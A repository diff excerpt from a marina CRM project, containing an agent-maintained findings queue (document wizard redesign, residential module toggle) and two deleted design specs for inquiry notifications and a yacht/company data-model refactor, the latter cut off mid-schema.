Templates ARE needed for flow 1 — the generate-via-Documenso path. Documenso requires a pre-built template (with signature/text field placeholders) that lives on its side; the CRM provides merge-field values and Documenso renders the final PDF. We can't ship flow 1 without templates because Documenso's API requires a template id. They ARE NOT needed for flows 2 and 3.
|
||||
|
||||
The catch: most ports will have ~3 templates total (EOI, Reservation Agreement, Contract). Hiding the template picker behind a doc-type selector ("EOI" → uses the port's `documenso_eoi_template_id` setting) makes templates invisible to reps — they pick a doc type, the right template loads. Already half-implemented for EOI via `documenso_eoi_template_id`; needs the same treatment for Reservation + Contract.
|
||||
|
||||
**Proposed redesign:**
|
||||
|
||||
- **Delete the wizard's upload branch.** Flow 2 lives in `UploadForSigningDialog` which is already the right surface. The wizard becomes generation-only.
|
||||
- **Delete the pathway dropdown.** `inapp` is dead; either remove it or surface it as an admin-only override. Default to `documenso-template`.
|
||||
- **Replace the template picker with a doc-type-driven default.** Rep picks "EOI / Reservation Agreement / Contract" → wizard resolves the template id from per-port settings (`documenso_eoi_template_id`, `documenso_reservation_template_id`, `documenso_contract_template_id`). For ports that want a non-default template, an admin-only "Use a specific template" override stays.
|
||||
- **Surface flow 3 from the dropdown menu.** Add "Mark as signed (uploaded offline)" as a fourth dropdown item that opens the appropriate external-signed dialog based on the current entity context.
|
||||
- **Drop `/documents/new` as a route entirely.** Replace with a `<GenerateDocumentDialog>` opened from the dropdown menu, matching the modal pattern the other flows already use. Saves a page navigation + keeps the entry pattern consistent.
|
||||
|
||||
**Effort:** ~6–8h end-to-end. Largest piece is the template-id resolution — needs the per-port settings keys for Reservation + Contract (if not already there) + wizard service migration. UI surgery is ~2h.
|
||||
|
||||
**Open questions for the user:**
|
||||
|
||||
- Confirm flow 3 (mark externally signed) should be reachable from the dropdown menu, not just from per-interest tabs.
|
||||
- Confirm the `inapp` pathway can be removed (or do reps still need a CRM-rendered PDF for any edge case the audit hasn't surfaced?).
|
||||
- Confirm the per-port template-id pattern is the right way to hide templates from reps. Alternative: a one-time admin step to pick the default per doc type, with a "switch template" link visible to admins only.
|
||||
|
||||
### CreateDocumentWizard — Reminders/Watchers/Signers leak into upload-only flow
|
||||
|
||||
- **`SUPERSEDED`** — _src/components/documents/create-document-wizard.tsx_ (wizard is generation-only since 2026-05-26 refactor; `source: 'template'` hard-coded, upload branch removed).
|
||||
- **Reason:** the 2026-05-26 wizard refactor cut the upload branch entirely. The wizard is now purely "generate from template → Documenso" so Signers / Reminders / Watchers always apply. Offline-signed upload flows live elsewhere (per-interest external-upload dialogs, generic FileUploadZone). No longer a leak to fix.
|
||||
|
||||
### CreateDocumentWizard subject picker — needs at-a-glance entity scan
|
||||
|
||||
- **`PARTIALLY SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_ (subject row).
|
||||
- **Fix applied:** type dropdown → segmented button strip (Interest / Tenancy / Client / Company / Yacht), all 5 types visible at once so the rep clicks once instead of opening a dropdown. Picker below still adapts per-type (existing pickers reused as-is).
|
||||
- **Deferred:** the fully-unified search ("type 'matt'" → mixed-type results) needs a new `<SubjectCombobox>` against `/api/v1/search`. The segmented strip is the high-value 80% fix; the unified search lands when the wider wizard refactor goes through.
|
||||
- **React-grab anchor:** `<div class="grid grid-cols-..." />` in CreateDocumentWizard.
|
||||
- **Symptom:** picking the document subject means choosing a type (Client / Company / Yacht / Interest / Tenancy) THEN searching that one type's picker. Reps don't think in terms of "what type is the recipient" — they think "I need to send this to deal X" or "this is for client Y." The two-step type-then-picker requires the rep to know the answer to the type question before they can search.
|
||||
- **Fix proposal:** replace the type+picker pair with a single unified search field (same idiom as the global Command-search). Typing surfaces matching clients/companies/yachts/interests/tenancies inline, each row carrying its type label as a badge. Recent interactions surface first when the input is empty. The chosen entity sets both `subjectType` and `subjectId` in one click.
|
||||
- **Bundle with:** the larger wizard refactor (above) — if `/documents/new` becomes a `<GenerateDocumentDialog>`, this is the natural place to ship the unified subject picker as one consistent pattern.
|
||||
|
||||
### Admin toggle to disable Residential entirely (module gate)
|
||||
|
||||
- **`SHIPPED locally (not yet committed) — 2026-05-31`** — net-new wiring; mirrors the Tenancies / Invoices / Expenses module-toggle pattern.
|
||||
- **Fix applied (2026-05-31):** full module gate shipped end-to-end, defaulting ON.
|
||||
- New `src/lib/services/residential-module.service.ts` (`isResidentialModuleEnabled` / `enableResidentialModule` / `disableResidentialModule` / `assertResidentialModuleEnabled`) — TDD'd via `tests/integration/residential-module.test.ts` (6 tests, RED→GREEN).
|
||||
- Registry key `residential_module_enabled` (`section: 'operations.residential'`, `defaultValue: true`) in `src/lib/settings/registry.ts`.
|
||||
- Route guard `src/app/(dashboard)/[portSlug]/residential/layout.tsx` renders `<ModuleDisabledPage>` when off — covers all 5 residential pages.
|
||||
- Sidebar: `requiresResidentialModule` section flag + `residentialModuleByPort` map resolved SSR in `src/app/(dashboard)/layout.tsx`, threaded through `app-shell.tsx` → `sidebar.tsx`; mobile `more-sheet.tsx` Residential tile gated via new `residentialModuleEnabled` prop.
|
||||
- Global search: module gate added at the shared chokepoint (`searchResidentialClients` / `searchResidentialInterests` early-return `[]` when off) so disabled-port records don't dead-end on the guard page — covers both the all-buckets fan-out and the single-bucket `type=` path.
|
||||
- Public intake: `src/app/api/public/residential-inquiries/route.ts` now `assertResidentialModuleEnabled` after port resolution → 404 when off (regression test added to `tests/integration/public-residential-inquiry.test.ts`).
|
||||
- Admin Switch: `residential_module_enabled` added to `settings-manager.tsx` KNOWN_SETTINGS (writes via `PUT /api/v1/admin/settings/[key]`).
|
||||
- **Verification:** tsc clean; lint clean (0 errors); residential-module + public-residential-inquiry + search unit suites green (10 + 22 tests).
|
||||
- **Deliberately NOT gated:** the `admin/residential-stages` page stays reachable when the module is off — an admin may legitimately configure residential stages before enabling. Reconsider if the user wants it hidden too.
|
||||
- **Deferred (separate cleanup):** the consolidated `admin/operations` page hosting all four module toggles (+ retiring the orphaned `tenancies-module/*` endpoints) — see open question 3 below.
|
||||
- **User ask (verbatim, 2026-05-31):** "is it possible to make the residential interests sections/functions in the platform to be toggleable in the admin space?"
|
||||
- **Answer:** yes. The platform already has the exact pattern for Tenancies / Invoices / Expenses; residential can copy it. Caveat: residential is currently gated by **permissions** (`residential_clients` / `residential_interests` access verbs + the `residentialAccess` role flag at _src/lib/db/schema/users.ts:455_, auto-granting perms at _src/lib/api/helpers.ts:209-213_), **not** a module toggle, and has **no layout gate at all** today. So this is genuinely new wiring, not a flag flip.
|
||||
- **Fix proposal (copy the Tenancies template — the most complete of the three):**
|
||||
1. **Registry entry** — add `residential_module_enabled` to _src/lib/settings/registry.ts_ (mirror the `tenancies_module_enabled` entry at lines 614-623): `section: 'operations.residential'`, `type: 'boolean'`, `scope: 'port'`, `defaultValue: true` (residential is in active use; default ON so existing ports aren't surprised — unlike tenancies/invoices which default OFF).
|
||||
2. **Module service** — new _src/lib/services/residential-module.service.ts_ mirroring _tenancies-module.service.ts_: `isResidentialModuleEnabled(portId)` / `enableResidentialModule` / `disableResidentialModule` / `assertResidentialModuleEnabled` (throws `NotFoundError` when off; used by API handlers). Lazy "any residential_clients row exists" auto-enable is optional.
|
||||
3. **Route gate** — new _src/app/(dashboard)/[portSlug]/residential/layout.tsx_ rendering `<ModuleDisabledPage moduleName="Residential" …>` (copy _expenses/layout.tsx:26-43_). One layout covers all 5 residential pages (clients list/detail, interests list/detail, index redirect). The `admin/residential-stages` page should also be gated.
|
||||
4. **Sidebar** — add a `requiresResidentialModule` flag to the Residential nav section in _src/components/layout/sidebar.tsx:119-134_ (alongside the existing `residentialRequired`); resolve a `residentialModuleByPort` map in _src/app/(dashboard)/layout.tsx:82-109_ (mirror the tenancies/expenses maps) and thread it through _src/components/layout/app-shell.tsx:28-34,97-98,150-151_; add the filter at the existing nav filter (sidebar.tsx ~390/419). **Also gate the mobile entry** _src/components/layout/mobile/more-sheet.tsx:58_ (currently ungated).
|
||||
5. **Search** — gate the two residential buckets in _src/lib/services/search.service.ts_ (`searchResidentialClients` line 497, `searchResidentialInterests` line 725; permission checks at 1949-1956 / 2163-2169 / 2199-2205) behind the module flag too, plus recently-viewed hydration in _src/lib/services/dashboard.service.ts:484-506_.
|
||||
6. **Public inquiry endpoint** — _src/app/api/public/residential-inquiries/route.ts_ should `assertResidentialModuleEnabled` (or 404) when off, so a disabled port stops accepting residential inquiries from the website. Currently only rate-limit + validation gate it.
|
||||
7. **Admin UI** — realistic path is the generic settings manager: add a `residential_module_enabled` Switch entry to _src/components/admin/settings/settings-manager.tsx_ (mirror the `tenancies_module_enabled` entry at lines 51-57), writing via `PUT /api/v1/admin/settings/[key]`. **Note:** the dedicated `/api/v1/admin/tenancies-module/enable|disable` endpoints are orphaned (nothing in the UI calls them) and the Invoices toggle has a registry entry + gate but no UI — so the settings-manager Switch is the path that actually works. Optionally build the long-promised `admin/operations` page to host all four module toggles in one place (closes the orphaned-endpoint gap for tenancies too).
|
||||
- **Surfaces to gate (user-facing, ~a dozen):** 5 dashboard pages (1 new layout), 1 admin stages page, sidebar section, mobile more-sheet entry, 2 search buckets + recently-viewed, public inquiry endpoint. **Backend stays preserved (~28 files):** 4 DB tables + relations (_src/lib/db/schema/residential.ts_), ~12 service fns (_residential.service.ts_, _residential-stages.service.ts_), ~14 v1 API routes (_src/app/api/v1/residential/\*_), 11 components (_src/components/residential/\*_), 2 email templates (_residential-inquiry.tsx_), validators, seeds, constants — disabled but invisible, exactly like the Tenancies/Expenses "soft hide, data preserved" model.
|
||||
- **Effort:** ~4-6h (half a day). Bulk is the sidebar/app-shell map plumbing + the new layout + search gating; the registry/service/Switch are ~1h.
|
||||
- **Alternatives considered + rejected:**
|
||||
- Reuse the existing permission gate (just strip `residentialAccess` from all roles) — rejected: that's per-user, not a clean port-level "this port doesn't do residential" switch, and leaves the public inquiry endpoint live + the nav logic fragile.
|
||||
- Hard-delete residential tables for ports that don't use it — rejected: violates the established non-destructive module-toggle convention (data preserved, re-enable any time).
|
||||
- **Open questions for the user:**
|
||||
1. **Default state** — ON for existing ports (residential is live; least surprising) or OFF (treat residential as opt-in like tenancies/invoices)? Default proposal: ON.
|
||||
2. **Scope** — just hide the UI surfaces, or also hard-reject the public residential-inquiry endpoint when off? Default proposal: both (a disabled port shouldn't silently accept inquiries it can't see).
|
||||
3. Build the proper `admin/operations` page to host all four module toggles (and retire the orphaned tenancies endpoints), or just add the residential Switch to the existing settings manager? Default proposal: settings-manager Switch now; Operations page as a separate cleanup.
|
||||
- **Cross-refs:** sibling of the "Admin toggle to disable Tenancies entirely" finding (Bucket 1, `PARTIALLY SHIPPED`) and the invoices module-toggle work in `docs/launch-readiness.md` Initiative 1c. All four toggles share the same incomplete admin-UI story — worth adding the Operations page once and wiring all of them through it.
|
||||
|
||||
---
|
||||
|
||||
## Bucket 4 — Bugs (severity-tagged)
|
||||
|
||||
_None yet._
|
||||
|
||||
---
|
||||
|
||||
## Append protocol
|
||||
|
||||
- **One finding per entry.** Don't bundle multiple distinct issues inside one bullet.
|
||||
- **Always tag status** as the first inline tag: `OPEN | IN PROGRESS | SHIPPED in <hash> | SHIPPED locally (not yet committed) | PARTIALLY SHIPPED | QUEUED | BLOCKED`.
|
||||
- **Be incredibly detailed.** Every finding should carry:
|
||||
- **File:line evidence** across every layer touched (component + service + validator + migration when relevant — not just the visible component).
|
||||
- **React-grab anchor verbatim** when the user pasted one (the `<tag class="..." />` in `Component` chain).
|
||||
- **Symptom** describing what the user saw + what they expected. Reference the screenshot's content when one was provided.
|
||||
- **Root cause** — explain the actual mechanism (which query, which prop, which filter is wrong). When unknown, list ranked hypotheses.
|
||||
- **Fix proposal** concrete enough that a future agent can implement without re-investigating. Name the functions, props, validators, migrations, query keys. Walk each layer in order when the fix touches multiple (service → API → UI).
|
||||
- **Effort estimate** (hour range).
|
||||
- **Alternatives considered + rejected** when there was a design call to make.
|
||||
- **Open questions** for the user when a decision is pending — number them so the user can answer by reference.
|
||||
- **Bundle-with** notes when the finding should ship together with another so related fixes don't drift.
|
||||
- **Cross-refs** to related findings (by heading) and to shipped commits (by hash).
|
||||
- **Acceptance criteria** when the fix is non-trivial — what does "done" look like?
|
||||
- **Always include file:line evidence** when known — even a guess is better than none.
|
||||
- **Bucket by effort, not domain.** Quick / Medium / Large / Bug. Cross-domain refactors that touch several files but each touch is small belong in Quick or Medium.
|
||||
- **Premature or aspirational items still queue.** Reason: the project's feedback memory explicitly says don't silently filter; the finding belongs even if we won't act on it this session.
|
||||
- **Shipped entries keep their detail.** When marking a finding SHIPPED, edit the status tag and append a "Fix applied:" paragraph below the original symptom + root cause. Don't strip the context — the queue is also the history.
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,201 +0,0 @@
|
||||
# Inquiry Notifications System Design
|
||||
|
||||
Migrates the ActivePieces-powered inquiry notification flow into the CRM. When a client registers interest via the Port Nimara website, the system sends a confirmation email to the client and notifies the sales team -- all using the CRM's own database and email infrastructure instead of NocoDB + ActivePieces.
|
||||
|
||||
## Scope
|
||||
|
||||
- Expand the public interest API to accept all website form fields
|
||||
- Add client address storage (multi-address with primary flag)
|
||||
- Send branded confirmation email to the client
|
||||
- Send notification to sales team (CRM users + optional external recipients)
|
||||
- Make notification recipients and contact email configurable by admins
|
||||
|
||||
## Database Changes
|
||||
|
||||
### New table: `client_addresses`
|
||||
|
||||
| Column | Type | Notes |
|
||||
| ---------------- | ----------------- | ---------------------------------------------------------------- |
|
||||
| `id` | uuid PK | `crypto.randomUUID()` |
|
||||
| `client_id` | uuid FK → clients | cascade delete |
|
||||
| `port_id` | uuid FK → ports | cascade delete |
|
||||
| `label` | text | e.g., "Home", "Office", "Billing" |
|
||||
| `street_address` | text | |
|
||||
| `city` | text | |
|
||||
| `state_province` | text | |
|
||||
| `postal_code` | text | |
|
||||
| `country` | text | |
|
||||
| `is_primary` | boolean | default `true`, one-primary-per-client enforced in service layer |
|
||||
| `created_at` | timestamp | default `now()` |
|
||||
| `updated_at` | timestamp | default `now()` |
|
||||
|
||||
Schema file: `src/lib/db/schema/clients.ts` (alongside existing client tables).
|
||||
Relations: added to `src/lib/db/schema/relations.ts` (client has many addresses).
|
||||
|
||||
### No changes to existing tables
|
||||
|
||||
- `clients.preferred_contact_method` already exists -- we populate it from the form.
|
||||
- `interests.berth_id` already exists -- we resolve `mooringNumber` to a berth and link it.
|
||||
- `notifications.type` already has `new_registration` -- we fire it.
|
||||
|
||||
## Public API Changes
|
||||
|
||||
### `POST /api/public/interests`
|
||||
|
||||
Expanded request schema:
|
||||
|
||||
```typescript
|
||||
// Required
|
||||
firstName: string; // max 100
|
||||
lastName: string; // max 100
|
||||
email: string; // email format
|
||||
phone: string;
|
||||
|
||||
// Optional
|
||||
preferredContactMethod: 'email' | 'phone' | 'sms';
|
||||
mooringNumber: string; // e.g., "A3" -- resolved against berths.mooring_number
|
||||
companyName: string;
|
||||
yachtName: string;
|
||||
yachtLengthFt: number;
|
||||
yachtWidthFt: number;
|
||||
yachtDraftFt: number;
|
||||
preferredBerthSize: string;
|
||||
notes: string; // max 2000
|
||||
address: {
|
||||
street: string;
|
||||
city: string;
|
||||
stateProvince: string;
|
||||
postalCode: string;
|
||||
country: string;
|
||||
}
|
||||
|
||||
// Backward compatibility
|
||||
fullName: string; // accepted if firstName/lastName not provided
|
||||
```
|
||||
|
||||
Backward compatibility: if `fullName` is provided without `firstName`/`lastName`, it is used as-is for `clients.full_name`. If `firstName`+`lastName` are provided, they are concatenated.
|
||||
|
||||
### Behavior after record creation
|
||||
|
||||
1. Resolve `mooringNumber` against `berths.mooring_number` for the port. Link `interests.berth_id` if found; leave null if not.
|
||||
2. Store `address` in `client_addresses` with `is_primary: true` and `label: 'Primary'`.
|
||||
3. Set `clients.preferred_contact_method` from the form value.
|
||||
4. Queue client confirmation email (see Email Templates below).
|
||||
5. Fire `new_registration` notifications to sales team (see Notification Flow below).
|
||||
6. Return `201 { data: { id, message } }` unchanged.
|
||||
|
||||
Rate limiting remains 5 requests/hour per IP.
|
||||
|
||||
## Email Templates
|
||||
|
||||
Located in `src/lib/email/templates/`. Each exports a function that accepts a typed data object and returns `{ subject: string, html: string, text: string }`.
|
||||
|
||||
### `inquiry-client-confirmation.ts`
|
||||
|
||||
Sent to the client who submitted the form.
|
||||
|
||||
**Input data:**
|
||||
|
||||
- `firstName` -- for the greeting
|
||||
- `mooringNumber` -- berth identifier (nullable)
|
||||
- `contactEmail` -- from `inquiry_contact_email` system setting
|
||||
|
||||
**Subject:** "Thank You for Your Interest in Berth {mooringNumber}" or "Thank You for Your Interest in a Port Nimara Berth" if no berth.
|
||||
|
||||
**Body:** Greeting with first name, confirmation their interest is registered, mention they'll be contacted by preferred method, link to the contact email address.
|
||||
|
||||
**Styling:** Branded -- Port Nimara logo, background image, white card layout. Matches the existing ActivePieces client confirmation template.
|
||||
|
||||
### `inquiry-sales-notification.ts`
|
||||
|
||||
Sent to CRM users and optional external recipients.
|
||||
|
||||
**Input data:**
|
||||
|
||||
- `fullName`
|
||||
- `email`
|
||||
- `phone`
|
||||
- `mooringNumber` (nullable, defaults to "None")
|
||||
- `crmUrl` -- link to the interest detail page in the CRM (built from port slug + interest ID)
|
||||
|
||||
**Subject:** "New Interest - Port Nimara"
|
||||
|
||||
**Body:** Notifies that a new interest has been registered, shows client details and berth selected, links to the CRM.
|
||||
|
||||
**Styling:** Branded -- Port Nimara logo, background image, white card layout. Matches the existing ActivePieces admin notification template.
|
||||
|
||||
Both templates include a plain-text fallback.
|
||||
|
||||
## Notification & Delivery Flow
|
||||
|
||||
### Client confirmation email
|
||||
|
||||
1. After record creation, queue a `send-inquiry-confirmation` job on the `email` BullMQ queue.
|
||||
2. Email worker renders the `inquiry-client-confirmation` template with the interest data.
|
||||
3. Sends via system SMTP (`src/lib/email/index.ts`).
|
||||
4. No in-app notification (client is not a CRM user).
|
||||
|
||||
### Sales team notification
|
||||
|
||||
1. Query all users on the port who have `interests` read permission via their role.
|
||||
2. For each user, call `createNotification()` with type `new_registration`.
|
||||
- The existing notification service checks `user_notification_preferences` (in-app / email / both / neither).
|
||||
- Creates in-app notification + Socket.IO push if `in_app: true`.
|
||||
- Queues `send-notification-email` job if `email: true`.
|
||||
3. Fetch `inquiry_notification_recipients` system setting for the port.
|
||||
4. For each external email, queue a `send-inquiry-sales-notification` job on the `email` queue (bypasses notification preferences since these are not CRM users).
|
||||
|
||||
### Independence
|
||||
|
||||
Client confirmation and sales notifications are independent -- a failure in one does not block the other. The `201` response returns immediately after record creation, before any emails are sent.
|
||||
|
||||
## Admin Configuration
|
||||
|
||||
Two new system settings, managed via the existing admin settings UI:
|
||||
|
||||
### `inquiry_contact_email` (string, per-port)
|
||||
|
||||
The reply-to / contact email shown in client confirmation emails.
|
||||
|
||||
- Default: `sales@portnimara.com`
|
||||
- Displayed as a mailto link in the client confirmation email.
|
||||
|
||||
### `inquiry_notification_recipients` (JSON array of strings, per-port)
|
||||
|
||||
Additional external email addresses that receive the sales team notification.
|
||||
|
||||
- Default: `[]` (empty)
|
||||
- Only CRM users with interests permissions are notified by default.
|
||||
- External recipients receive the sales notification email directly.
|
||||
|
||||
### Existing infrastructure (no changes needed)
|
||||
|
||||
- **Which CRM users get notified**: controlled by roles/permissions.
|
||||
- **How each user receives notifications**: `user_notification_preferences` table.
|
||||
- **Admin settings UI**: already supports custom key-value pairs in `system_settings`.
|
||||
|
||||
## Files to Create or Modify
|
||||
|
||||
### New files
|
||||
|
||||
- `src/lib/db/schema/client-addresses.ts` -- (or added to `clients.ts`)
|
||||
- `src/lib/email/templates/inquiry-client-confirmation.ts`
|
||||
- `src/lib/email/templates/inquiry-sales-notification.ts`
|
||||
|
||||
### Modified files
|
||||
|
||||
- `src/lib/db/schema/clients.ts` -- add `clientAddresses` table export
|
||||
- `src/lib/db/schema/index.ts` -- re-export new table
|
||||
- `src/lib/db/schema/relations.ts` -- add client addresses relations
|
||||
- `src/lib/validators/public-interest.ts` (or wherever `publicInterestSchema` lives) -- expand schema
|
||||
- `src/app/api/public/interests/route.ts` -- berth resolution, address storage, notification + email triggers
|
||||
- `src/lib/queue/workers/email.ts` -- handle `send-inquiry-confirmation` and `send-inquiry-sales-notification` jobs
|
||||
- `src/lib/services/interests.service.ts` -- helper to find users with interests permissions on a port
|
||||
- `src/app/(dashboard)/[portSlug]/admin/settings/settings-manager.tsx` -- register the two new setting keys
|
||||
|
||||
## Out of Scope
|
||||
|
||||
- Editing email templates from the admin UI (templates are in code).
|
||||
- Supplemental forms for collecting missing info (separate feature using existing `form_templates` / `form_submissions` infrastructure).
|
||||
- Documenso EOI integration with address merge fields (separate feature).
|
||||
- Changes to the Port Nimara website form itself (website team wires the form to our API).
|
||||
@@ -1,663 +0,0 @@
|
||||
# Data-Model Refactor: Yachts and Companies as First-Class Entities
|
||||
|
||||
**Status:** Draft — awaiting final review
|
||||
**Date:** 2026-04-23
|
||||
**Spec position:** 1 of 3 (Spec 2 = NocoDB+MinIO importer; Spec 3 = client merge endpoint)
|
||||
|
||||
## Overview
|
||||
|
||||
This spec delivers a refactor of the core client / yacht / company data model to support real-world ownership relationships that the current schema cannot express.
|
||||
|
||||
The current `clients` table holds yacht dimensions and company name as columns directly on the person row. This enforces a one-person = one-yacht = one-company assumption that breaks the moment:
|
||||
|
||||
- A client owns multiple yachts (a common marina scenario)
|
||||
- A person is a broker or director of multiple companies
|
||||
- A yacht is legally owned by a shell company (common for tax / liability reasons) rather than by the human on the dock
|
||||
- A yacht changes hands between owners and the marina needs chain-of-title
|
||||
|
||||
The refactor pulls yacht and company data into their own first-class tables, adds join tables for person↔company memberships, and introduces a proper `berth_reservations` table for exclusive-reservation lifecycle tracking.
|
||||
|
||||
This spec also fixes two existing schema gaps that surface during the refactor:
|
||||
|
||||
- `berths.status` tracks the state of a berth but there is no table recording which client/yacht exclusively reserves a berth
|
||||
- `invoices.clientName` is a text field with no FK — there's no first-class link between invoices and billing entities
|
||||
|
||||
## Scope boundaries
|
||||
|
||||
### In scope (this spec)
|
||||
|
||||
- New `yachts`, `yacht_ownership_history`, `yacht_notes`, `yacht_tags` tables
|
||||
- New `companies`, `company_memberships`, `company_addresses`, `company_notes`, `company_tags` tables
|
||||
- New `berth_reservations` table with partial-unique-index exclusivity enforcement
|
||||
- Updates to `interests`, `berth_waiting_list`, `invoices`, `files`, `documents` to add FKs to the new entities
|
||||
- Removal of yacht, company, and proxy columns from `clients`
|
||||
- New services, API routes, permissions, and socket/webhook events
|
||||
- New UI pages for yachts, companies, and berth reservations; modifications to client, interest, berth, invoice forms
|
||||
- Dual-path EOI generation (Documenso + in-app PDF template) with a shared payload builder
|
||||
- Comprehensive test coverage: unit, integration, E2E, exhaustive click-through, template regression
|
||||
- Seeder with realistic multi-cardinality dummy data
|
||||
|
||||
### Explicitly out of scope
|
||||
|
||||
- **Importing NocoDB records and MinIO documents** → Spec 2
|
||||
- **Client merge endpoint** → Spec 3
|
||||
- Yacht survey / class-cert document categorization
|
||||
- Company hierarchy (holding → subsidiary)
|
||||
- Line-item-level yacht references on invoices
|
||||
- Auto-renewal flow for berth reservations
|
||||
- Per-yacht row-level permissions
|
||||
- Portal branding per company
|
||||
|
||||
## Decisions and rationale
|
||||
|
||||
| Topic | Decision | Why |
|
||||
| ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Yacht scope | Full entity: own page, documents, ownership history, yacht-keyed interests / reservations / invoices | Marina domain cares about yachts as first-class objects (dimensions for berth fit, registration for port entry, ownership for liability) |
|
||||
| Company scope | Full entity: memberships join, company-owned yachts, company billing | Yachts are frequently owned by shell companies for tax/liability reasons — the human on the dock is a director or broker. Lightweight/medium models can't route invoices to the correct legal entity |
|
||||
| Ownership history | Dedicated `yacht_ownership_history` table + denormalized current-owner columns on `yachts` | Ownership change is exactly the kind of event that needs queryable history (chain of title, insurance, broker commission attribution). Denormalized current-owner keeps common reads fast |
|
||||
| Proxy fields on clients (`isProxy`, `proxyType`, `actualOwnerName`, `relationshipNotes`) | Drop all four | Every real proxy scenario is expressible through `company_memberships` roles or `client_relationships`. Keeping the old fields creates two sources of truth and drift risk |
|
||||
| Berth exclusive reservation | New `berth_reservations` table with partial unique index `WHERE status = 'active'` | Current schema tracks berth state via `berths.status` but does not record which client/yacht holds the reservation. Partial unique index enforces exclusivity at the DB level |
|
||||
| Invoice billing entity | `billingEntityType` (`'client' \| 'company'`) + `billingEntityId`; `clientName` retained as an immutable snapshot | Companies become first-class payers. `clientName` as text is preserved on the invoice as a snapshot so invoices never retroactively rename themselves |
|
||||
| Data state | Green-field with dummy seeder; real data arrives via Spec 2 | No production data lives in this Postgres DB yet. NocoDB holds the real records until Spec 2 imports them |
|
||||
| Delivery | One cohesive spec covering both yacht + company refactor | Splitting doubles the migration/UI/test churn for no architectural gain; both sets of changes overlap heavily |
|
||||
| EOI template strategy | Support both Documenso-template path and in-app PDF template path, both fully functional from day one | Handoff risk: client must not come back claiming "EOIs don't work." If Documenso breaks or is replaced, in-app path is the fallback. Both consume the same payload builder for data consistency |
|
||||
| EOI UI picker | Dropdown at generation time (user picks Documenso or in-app explicitly) | Explicit beats automatic fallback for handoff — misconfiguration is visible, not silently masked |
|
||||
| Testing | Unit, integration, full E2E scenarios, exhaustive Playwright click-through, template regression (including visual diff) | Explicit "test thoroughly" direction plus the handoff concern justify going heavier than normal on integration + E2E tiers |
|
||||
|
||||
## Schema design
|
||||
|
||||
### New tables
|
||||
|
||||
```
|
||||
yachts
|
||||
id text PK
|
||||
portId text NOT NULL FK → ports.id
|
||||
name text NOT NULL
|
||||
hullNumber text
|
||||
registration text
|
||||
flag text
|
||||
yearBuilt integer
|
||||
builder text
|
||||
model text
|
||||
hullMaterial text
|
||||
lengthFt numeric
|
||||
widthFt numeric
|
||||
draftFt numeric
|
||||
lengthM numeric
|
||||
widthM numeric
|
||||
draftM numeric
|
||||
currentOwnerType text NOT NULL -- 'client' | 'company'
|
||||
currentOwnerId text NOT NULL
|
||||
status text NOT NULL DEFAULT 'active' -- 'active' | 'retired' | 'sold_away'
|
||||
notes text
|
||||
archivedAt timestamptz
|
||||
createdAt timestamptz NOT NULL DEFAULT now()
|
||||
updatedAt timestamptz NOT NULL DEFAULT now()
|
||||
Indexes:
|
||||
idx_yachts_port on (portId)
|
||||
idx_yachts_current_owner on (portId, currentOwnerType, currentOwnerId)
|
||||
idx_yachts_name on (portId, name)
|
||||
|
||||
yacht_ownership_history
|
||||
id text PK
|
||||
yachtId text NOT NULL FK → yachts.id ON DELETE CASCADE
|
||||
ownerType text NOT NULL -- 'client' | 'company'
|
||||
ownerId text NOT NULL
|
||||
startDate date NOT NULL
|
||||
endDate date -- NULL = currently active
|
||||
transferReason text -- 'sale' | 'inheritance' | 'gift' | 'company_restructure' | 'other'
|
||||
transferNotes text
|
||||
createdBy text NOT NULL
|
||||
createdAt timestamptz NOT NULL DEFAULT now()
|
||||
Indexes:
|
||||
idx_yoh_yacht on (yachtId)
|
||||
idx_yoh_active (partial) on (yachtId) WHERE endDate IS NULL
|
||||
|
||||
yacht_notes -- mirrors client_notes shape
|
||||
id, yachtId (FK CASCADE), authorId, content, mentions text[], isLocked, createdAt, updatedAt
|
||||
|
||||
yacht_tags
|
||||
yachtId, tagId composite PK; tagId references system.tags.id
|
||||
|
||||
companies
|
||||
id text PK
|
||||
portId text NOT NULL FK → ports.id
|
||||
name text NOT NULL
|
||||
legalName text
|
||||
taxId text
|
||||
registrationNumber text
|
||||
incorporationCountry text
|
||||
incorporationDate date
|
||||
status text NOT NULL DEFAULT 'active' -- 'active' | 'dissolved'
|
||||
billingEmail text
|
||||
notes text
|
||||
archivedAt timestamptz
|
||||
createdAt timestamptz NOT NULL DEFAULT now()
|
||||
updatedAt timestamptz NOT NULL DEFAULT now()
|
||||
Indexes:
|
||||
idx_companies_port on (portId)
|
||||
idx_companies_name_unique UNIQUE on (portId, lower(name)) -- case-insensitive
|
||||
idx_companies_taxid on (portId, taxId) WHERE taxId IS NOT NULL
|
||||
|
||||
company_memberships
|
||||
id text PK
|
||||
companyId text NOT NULL FK → companies.id ON DELETE CASCADE
|
||||
clientId text NOT NULL FK → clients.id ON DELETE CASCADE
|
||||
role text NOT NULL -- 'director' | 'officer' | 'broker' | 'representative' | 'legal_counsel' | 'employee' | 'shareholder' | 'other'
|
||||
roleDetail text -- free-text qualifier: "Managing Director", "Exclusive Broker"
|
||||
startDate date NOT NULL
|
||||
endDate date -- NULL = active
|
||||
isPrimary boolean NOT NULL DEFAULT false
|
||||
notes text
|
||||
createdAt timestamptz NOT NULL DEFAULT now()
|
||||
updatedAt timestamptz NOT NULL DEFAULT now()
|
||||
Indexes:
|
||||
idx_cm_company on (companyId)
|
||||
idx_cm_client on (clientId)
|
||||
idx_cm_active (partial) on (companyId, clientId) WHERE endDate IS NULL
|
||||
unique_cm_exact UNIQUE on (companyId, clientId, role, startDate)
|
||||
|
||||
company_addresses -- mirrors client_addresses shape with companyId FK
|
||||
company_notes -- mirrors client_notes shape with companyId FK
|
||||
company_tags
|
||||
companyId, tagId composite PK
|
||||
|
||||
berth_reservations
|
||||
id text PK
|
||||
berthId text NOT NULL FK → berths.id
|
||||
portId text NOT NULL FK → ports.id
|
||||
clientId text NOT NULL FK → clients.id -- contract holder
|
||||
yachtId text NOT NULL FK → yachts.id -- which yacht occupies the slip
|
||||
